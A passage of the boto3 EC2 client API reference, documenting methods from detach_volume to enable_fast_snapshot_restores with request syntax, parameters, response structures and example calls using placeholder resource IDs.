(_string_) -- The device name. +* **Force** (_boolean_) -- Forces detachment if the previous detachment attempt did not occur cleanly (for example, logging into an instance, unmounting the volume, and detaching normally). This option can lead to data loss or a corrupted file system. Use this option only as a last resort to detach a volume from a failed instance. The instance won't have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. +* **InstanceId** (_string_) -- The ID of the instance. If you are detaching a Multi-Attach enabled volume, you must specify an instance ID. +* **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the volume. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +* _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +**Examples** + +This example detaches the volume (vol-049df61146c4d7901) from the instance it is attached to. + +response = client.detach_volume( + VolumeId='vol-1234567890abcdef0', +) + +print(response) + +Expected Output: + +{ + 'AttachTime': datetime(2014, 2, 27, 19, 23, 6, 3, 58, 0), + 'Device': '/dev/sdb', + 'InstanceId': 'i-1234567890abcdef0', + 'State': 'detaching', + 'VolumeId': 'vol-049df61146c4d7901', + 'ResponseMetadata': { + '...': '...', + }, +} + +detach_vpn_gateway(kwargs_) + +Detaches a virtual private gateway from a VPC. You do this if you're planning to turn off the VPC and not use it anymore. You can confirm a virtual private gateway has been completely detached from a VPC by describing the virtual private gateway (any attachments to the virtual private gateway are also described). + +You must wait for the attachment's state to switch to detached before you can delete the VPC or attach a different VPC to the virtual private gateway. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachVpnGateway) + +**Request Syntax** + +response = client.detach_vpn_gateway( + VpcId='string', + VpnGatewayId='string', + DryRun=True|False +) + +Parameters + +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +* **VpnGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the virtual private gateway. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +disable_ebs_encryption_by_default(kwargs_) + +Disables EBS encryption by default for your account in the current Region. + +After you disable encryption by default, you can still create encrypted volumes by enabling encryption when you create each volume. + +Disabling encryption by default does not change the encryption status of your existing volumes. + +For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisableEbsEncryptionByDefault) + +**Request Syntax** + +response = client.disable_ebs_encryption_by_default( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'EbsEncryptionByDefault': True|False +} + +**Response Structure** + +* _(dict) --_ + * **EbsEncryptionByDefault** _(boolean) --_ + + The updated status of encryption by default. + + +disable_fast_snapshot_restores(kwargs_) + +Disables fast snapshot restores for the specified snapshots in the specified Availability Zones. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisableFastSnapshotRestores) + +**Request Syntax** + +response = client.disable_fast_snapshot_restores( + AvailabilityZones=[ + 'string', + ], + SourceSnapshotIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **AvailabilityZones** (_list_) -- + + **[REQUIRED]** + + One or more Availability Zones. For example, us-east-2a . + + * _(string) --_ +* **SourceSnapshotIds** (_list_) -- + + **[REQUIRED]** + + The IDs of one or more snapshots. For example, snap-1234567890abcdef0 . + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Successful': [ + { + 'SnapshotId': 'string', + 'AvailabilityZone': 'string', + 'State': 'enabling'|'optimizing'|'enabled'|'disabling'|'disabled', + 'StateTransitionReason': 'string', + 'OwnerId': 'string', + 'OwnerAlias': 'string', + 'EnablingTime': datetime(2015, 1, 1), + 'OptimizingTime': datetime(2015, 1, 1), + 'EnabledTime': datetime(2015, 1, 1), + 'DisablingTime': datetime(2015, 1, 1), + 'DisabledTime': datetime(2015, 1, 1) + }, + ], + 'Unsuccessful': [ + { + 'SnapshotId': 'string', + 'FastSnapshotRestoreStateErrors': [ + { + 'AvailabilityZone': 'string', + 'Error': { + 'Code': 'string', + 'Message': 'string' + } + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Successful** _(list) --_ + + Information about the snapshots for which fast snapshot restores were successfully disabled. + + * _(dict) --_ + + Describes fast snapshot restores that were successfully disabled. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + * **State** _(string) --_ + + The state of fast snapshot restores for the snapshot. + + * **StateTransitionReason** _(string) --_ + + The reason for the state transition. The possible values are as follows: + + * Client.UserInitiated - The state successfully transitioned to enabling or disabling . + * Client.UserInitiated - Lifecycle state transition - The state successfully transitioned to optimizing , enabled , or disabled . + * **OwnerId** _(string) --_ + + The ID of the AWS account that enabled fast snapshot restores on the snapshot. + + * **OwnerAlias** _(string) --_ + + The AWS owner alias that enabled fast snapshot restores on the snapshot. This is intended for future use. + + * **EnablingTime** _(datetime) --_ + + The time at which fast snapshot restores entered the enabling state. + + * **OptimizingTime** _(datetime) --_ + + The time at which fast snapshot restores entered the optimizing state. + + * **EnabledTime** _(datetime) --_ + + The time at which fast snapshot restores entered the enabled state. + + * **DisablingTime** _(datetime) --_ + + The time at which fast snapshot restores entered the disabling state. + + * **DisabledTime** _(datetime) --_ + + The time at which fast snapshot restores entered the disabled state. + + * **Unsuccessful** _(list) --_ + + Information about the snapshots for which fast snapshot restores could not be disabled. + + * _(dict) --_ + + Contains information about the errors that occurred when disabling fast snapshot restores. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **FastSnapshotRestoreStateErrors** _(list) --_ + + The errors. + + * _(dict) --_ + + Contains information about an error that occurred when disabling fast snapshot restores. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + * **Error** _(dict) --_ + + The error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The error message. + + +disable_transit_gateway_route_table_propagation(kwargs_)definition") + +Disables the specified resource attachment from propagating routes to the specified propagation route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisableTransitGatewayRouteTablePropagation) + +**Request Syntax** + +response = client.disable_transit_gateway_route_table_propagation( + TransitGatewayRouteTableId='string', + TransitGatewayAttachmentId='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the propagation route table. + +* **TransitGatewayAttachmentId** (_string_) -- + + **[REQUIRED]** + + The ID of the attachment. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Propagation': { + 'TransitGatewayAttachmentId': 'string', + 'ResourceId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'TransitGatewayRouteTableId': 'string', + 'State': 'enabling'|'enabled'|'disabling'|'disabled' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Propagation** _(dict) --_ + + Information about route propagation. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + * **TransitGatewayRouteTableId** _(string) --_ + + The ID of the transit gateway route table. + + * **State** _(string) --_ + + The state. + + +disable_vgw_route_propagation(kwargs_) + +Disables a virtual private gateway (VGW) from propagating routes to a specified route table of a VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisableVgwRoutePropagation) + +**Request Syntax** + +response = client.disable_vgw_route_propagation( + GatewayId='string', + RouteTableId='string', + DryRun=True|False +) + +Parameters + +* **GatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the virtual private gateway. + +* **RouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the route table. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example disables the specified virtual private gateway from propagating static routes to the specified route table. + +response = client.disable_vgw_route_propagation( + GatewayId='vgw-9a4cacf3', + RouteTableId='rtb-22574640', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +disable_vpc_classic_link(kwargs_) + +Disables ClassicLink for a VPC. You cannot disable ClassicLink for a VPC that has EC2-Classic instances linked to it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisableVpcClassicLink) + +**Request Syntax** + +response = client.disable_vpc_classic_link( + DryRun=True|False, + VpcId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +disable_vpc_classic_link_dns_support(kwargs_) + +Disables ClassicLink DNS support for a VPC. If disabled, DNS hostnames resolve to public IP addresses when addressed between a linked EC2-Classic instance and instances in the VPC to which it's linked. For more information, see [ClassicLink](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/vpc-classiclink.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +You must specify a VPC ID in the request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisableVpcClassicLinkDnsSupport) + +**Request Syntax** + +response = client.disable_vpc_classic_link_dns_support( + VpcId='string' +) + +Parameters + +**VpcId** (_string_) -- The ID of the VPC. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +disassociate_address(kwargs_) + +Disassociates an Elastic IP address from the instance or network interface it's associated with. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateAddress) + +**Request Syntax** + +response = client.disassociate_address( + AssociationId='string', + PublicIp='string', + DryRun=True|False +) + +Parameters + +* **AssociationId** (_string_) -- [EC2-VPC] The association ID. Required for EC2-VPC. +* **PublicIp** (_string_) -- [EC2-Classic] The Elastic IP address. Required for EC2-Classic. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example disassociates an Elastic IP address from an instance in a VPC. + +response = client.disassociate_address( + AssociationId='eipassoc-2bebb745', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example disassociates an Elastic IP address from an instance in EC2-Classic. + +response = client.disassociate_address( + PublicIp='198.51.100.0', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +disassociate_client_vpn_target_network(kwargs_) + +Disassociates a target network from the specified Client VPN endpoint. When you disassociate the last target network from a Client VPN, the following happens: + +* The route that was automatically added for the VPC is deleted +* All active client connections are terminated +* New client connections are disallowed +* The Client VPN endpoint's status changes to pending-associate + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateClientVpnTargetNetwork) + +**Request Syntax** + +response = client.disassociate_client_vpn_target_network( + ClientVpnEndpointId='string', + AssociationId='string', + DryRun=True|False +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint from which to disassociate the target network. + +* **AssociationId** (_string_) -- + + **[REQUIRED]** + + The ID of the target network association. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AssociationId': 'string', + 'Status': { + 'Code': 'associating'|'associated'|'association-failed'|'disassociating'|'disassociated', + 'Message': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **AssociationId** _(string) --_ + + The ID of the target network association. + + * **Status** _(dict) --_ + + The current state of the target network association. + + * **Code** _(string) --_ + + The state of the target network association. + + * **Message** _(string) --_ + + A message about the status of the target network association, if applicable. + + +disassociate_enclave_certificate_iam_role(kwargs_) + +Disassociates an IAM role from an AWS Certificate Manager (ACM) certificate. Disassociating an IAM role from an ACM certificate removes the Amazon S3 object that contains the certificate, certificate chain, and encrypted private key from the Amazon S3 bucket. It also revokes the IAM role's permission to use the AWS Key Management Service (KMS) customer master key (CMK) used to encrypt the private key. This effectively revokes the role's permission to use the certificate. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateEnclaveCertificateIamRole) + +**Request Syntax** + +response = client.disassociate_enclave_certificate_iam_role( + CertificateArn='string', + RoleArn='string', + DryRun=True|False +) + +Parameters + +* **CertificateArn** (_string_) -- The ARN of the ACM certificate from which to disassociate the IAM role. +* **RoleArn** (_string_) -- The ARN of the IAM role to disassociate. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +disassociate_iam_instance_profile(kwargs_) + +Disassociates an IAM instance profile from a running or stopped instance. + +Use DescribeIamInstanceProfileAssociations to get the association ID. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateIamInstanceProfile) + +**Request Syntax** + +response = client.disassociate_iam_instance_profile( + AssociationId='string' +) + +Parameters + +**AssociationId** (_string_) -- + +**[REQUIRED]** + +The ID of the IAM instance profile association. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'IamInstanceProfileAssociation': { + 'AssociationId': 'string', + 'InstanceId': 'string', + 'IamInstanceProfile': { + 'Arn': 'string', + 'Id': 'string' + }, + 'State': 'associating'|'associated'|'disassociating'|'disassociated', + 'Timestamp': datetime(2015, 1, 1) + } +} + +**Response Structure** + +* _(dict) --_ + * **IamInstanceProfileAssociation** _(dict) --_ + + Information about the IAM instance profile association. + + * **AssociationId** _(string) --_ + + The ID of the association. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Id** _(string) --_ + + The ID of the instance profile. + + * **State** _(string) --_ + + The state of the association. + + * **Timestamp** _(datetime) --_ + + The time the IAM instance profile was associated with the instance. + + +**Examples** + +This example disassociates the specified IAM instance profile from an instance. + +response = client.disassociate_iam_instance_profile( + AssociationId='iip-assoc-05020b59952902f5f', +) + +print(response) + +Expected Output: + +{ + 'IamInstanceProfileAssociation': { + 'AssociationId': 'iip-assoc-05020b59952902f5f', + 'IamInstanceProfile': { + 'Arn': 'arn:aws:iam::123456789012:instance-profile/admin-role', + 'Id': 'AIPAI5IVIHMFFYY2DKV5Y', + }, + 'InstanceId': 'i-123456789abcde123', + 'State': 'disassociating', + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +disassociate_route_table(kwargs_) + +Disassociates a subnet or gateway from a route table. + +After you perform this action, the subnet no longer uses the routes in the route table. Instead, it uses the routes in the VPC's main route table. For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateRouteTable) + +**Request Syntax** + +response = client.disassociate_route_table( + AssociationId='string', + DryRun=True|False +) + +Parameters + +* **AssociationId** (_string_) -- + + **[REQUIRED]** + + The association ID representing the current association between the route table and subnet or gateway. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example disassociates the specified route table from its associated subnet. + +response = client.disassociate_route_table( + AssociationId='rtbassoc-781d0d1a', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +disassociate_subnet_cidr_block(kwargs_) + +Disassociates a CIDR block from a subnet. Currently, you can disassociate an IPv6 CIDR block only. You must detach or delete all gateways and resources that are associated with the CIDR block before you can disassociate it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateSubnetCidrBlock) + +**Request Syntax** + +response = client.disassociate_subnet_cidr_block( + AssociationId='string' +) + +Parameters + +**AssociationId** (_string_) -- + +**[REQUIRED]** + +The association ID for the CIDR block. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Ipv6CidrBlockAssociation': { + 'AssociationId': 'string', + 'Ipv6CidrBlock': 'string', + 'Ipv6CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + } + }, + 'SubnetId': 'string' +} + +**Response Structure** + +* _(dict) --_ + * **Ipv6CidrBlockAssociation** _(dict) --_ + + Information about the IPv6 CIDR block association. + + * **AssociationId** _(string) --_ + + The association ID for the CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of a CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + +disassociate_transit_gateway_multicast_domain(kwargs_) + +Disassociates the specified subnets from the transit gateway multicast domain. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateTransitGatewayMulticastDomain) + +**Request Syntax** + +response = client.disassociate_transit_gateway_multicast_domain( + TransitGatewayMulticastDomainId='string', + TransitGatewayAttachmentId='string', + SubnetIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **TransitGatewayMulticastDomainId** (_string_) -- The ID of the transit gateway multicast domain. +* **TransitGatewayAttachmentId** (_string_) -- The ID of the attachment. +* **SubnetIds** (_list_) -- + + The IDs of the subnets; + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Associations': { + 'TransitGatewayMulticastDomainId': 'string', + 'TransitGatewayAttachmentId': 'string', + 'ResourceId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'ResourceOwnerId': 'string', + 'Subnets': [ + { + 'SubnetId': 'string', + 'State': 'pendingAcceptance'|'associating'|'associated'|'disassociating'|'disassociated'|'rejected'|'failed' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **Associations** _(dict) --_ + + Information about the association. + + * **TransitGatewayMulticastDomainId** _(string) --_ + + The ID of the transit gateway multicast domain. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the transit gateway attachment. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **ResourceType** _(string) --_ + + The type of resource, for example a VPC attachment. + + * **ResourceOwnerId** _(string) --_ + + The ID of the AWS account that owns the resource. + + * **Subnets** _(list) --_ + + The subnets associated with the multicast domain. + + * _(dict) --_ + + Describes the subnet association with the transit gateway multicast domain. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + * **State** _(string) --_ + + The state of the subnet association. + + +disassociate_transit_gateway_route_table(kwargs_) + +Disassociates a resource attachment from a transit gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateTransitGatewayRouteTable) + +**Request Syntax** + +response = client.disassociate_transit_gateway_route_table( + TransitGatewayRouteTableId='string', + TransitGatewayAttachmentId='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway route table. + +* **TransitGatewayAttachmentId** (_string_) -- + + **[REQUIRED]** + + The ID of the attachment. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Association': { + 'TransitGatewayRouteTableId': 'string', + 'TransitGatewayAttachmentId': 'string', + 'ResourceId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'State': 'associating'|'associated'|'disassociating'|'disassociated' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Association** _(dict) --_ + + Information about the association. + + * **TransitGatewayRouteTableId** _(string) --_ + + The ID of the transit gateway route table. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + * **State** _(string) --_ + + The state of the association. + + +disassociate_vpc_cidr_block(kwargs_) + +Disassociates a CIDR block from a VPC. To disassociate the CIDR block, you must specify its association ID. You can get the association ID by using DescribeVpcs . You must detach or delete all gateways and resources that are associated with the CIDR block before you can disassociate it. + +You cannot disassociate the CIDR block with which you originally created the VPC (the primary CIDR block). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateVpcCidrBlock) + +**Request Syntax** + +response = client.disassociate_vpc_cidr_block( + AssociationId='string' +) + +Parameters + +**AssociationId** (_string_) -- + +**[REQUIRED]** + +The association ID for the CIDR block. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Ipv6CidrBlockAssociation': { + 'AssociationId': 'string', + 'Ipv6CidrBlock': 'string', + 'Ipv6CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + }, + 'NetworkBorderGroup': 'string', + 'Ipv6Pool': 'string' + }, + 'CidrBlockAssociation': { + 'AssociationId': 'string', + 'CidrBlock': 'string', + 'CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + } + }, + 'VpcId': 'string' +} + +**Response Structure** + +* _(dict) --_ + * **Ipv6CidrBlockAssociation** _(dict) --_ + + Information about the IPv6 CIDR block association. + + * **AssociationId** _(string) --_ + + The association ID for the IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **NetworkBorderGroup** _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses, for example, us-east-1-wl1-bos-wlz-1 . + + * **Ipv6Pool** _(string) --_ + + The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + + * **CidrBlockAssociation** _(dict) --_ + + Information about the IPv4 CIDR block association. + + * **AssociationId** _(string) --_ + + The association ID for the IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + +enable_ebs_encryption_by_default(kwargs_) + +Enables EBS encryption by default for your account in the current Region. + +After you enable encryption by default, the EBS volumes that you create are are always encrypted, either using the default CMK or the CMK that you specified when you created each volume. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +You can specify the default CMK for encryption by default using ModifyEbsDefaultKmsKeyId or ResetEbsDefaultKmsKeyId . + +Enabling encryption by default has no effect on the encryption status of your existing volumes. + +After you enable encryption by default, you can no longer launch instances using instance types that do not support encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/EnableEbsEncryptionByDefault) + +**Request Syntax** + +response = client.enable_ebs_encryption_by_default( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'EbsEncryptionByDefault': True|False +} + +**Response Structure** + +* _(dict) --_ + * **EbsEncryptionByDefault** _(boolean) --_ + + The updated status of encryption by default. + + +enable_fast_snapshot_restores(kwargs_) + +Enables fast snapshot restores for the specified snapshots in the specified Availability Zones. + +You get the full benefit of fast snapshot restores after they enter the enabled state. To get the current state of fast snapshot restores, use DescribeFastSnapshotRestores . To disable fast snapshot restores, use DisableFastSnapshotRestores . + +For more information, see [Amazon EBS fast snapshot restore](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-fast-snapshot-restore.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/EnableFastSnapshotRestores) + +**Request Syntax** + +response = client.enable_fast_snapshot_restores( + AvailabilityZones=[ + 'string', + ], + SourceSnapshotIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **AvailabilityZones** (_list_) -- + + **[REQUIRED]** + + One or more Availability Zones. For example, us-east-2a . + + * _(string) --_ +* **SourceSnapshotIds** (_list_) -- + + **[REQUIRED]** + + The IDs of one or more snapshots. For example, snap-1234567890abcdef0 . You can specify a snapshot that was shared with you from another AWS account. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Successful': [ + { + 'SnapshotId': 'string', + 'AvailabilityZone': 'string', + 'State': 'enabling'|'optimizing'|'enabled'|'disabling'|'disabled', + 'StateTransitionReason': 'string', + 'OwnerId': 'string', + 'OwnerAlias': 'string', + 'EnablingTime': datetime(2015, 1, 1), + 'OptimizingTime': datetime(2015, 1, 1), + 'EnabledTime': datetime(2015, 1, 1), + 'DisablingTime': datetime(2015, 1, 1), + 'DisabledTime': datetime(2015, 1, 1) + }, + ], + 'Unsuccessful': [ + { + 'SnapshotId': 'string', + 'FastSnapshotRestoreStateErrors': [ + { + 'AvailabilityZone': 'string', + 'Error': { + 'Code': 'string', + 'Message': 'string' + } + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Successful** _(list) --_ + + Information about the snapshots for which fast snapshot restores were successfully enabled. + + * _(dict) --_ + + Describes fast snapshot restores that were successfully enabled. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + * **State** _(string) --_ + + The state of fast snapshot restores. + + * **StateTransitionReason** _(string) --_ + + The reason for the state transition. The possible values are as follows: + + * Client.UserInitiated - The state successfully transitioned to enabling or disabling . + * Client.UserInitiated - Lifecycle state transition - The state successfully transitioned to optimizing , enabled , or disabled . + * **OwnerId** _(string) --_ + + The ID of the AWS account that enabled fast snapshot restores on the snapshot. + + * **OwnerAlias** 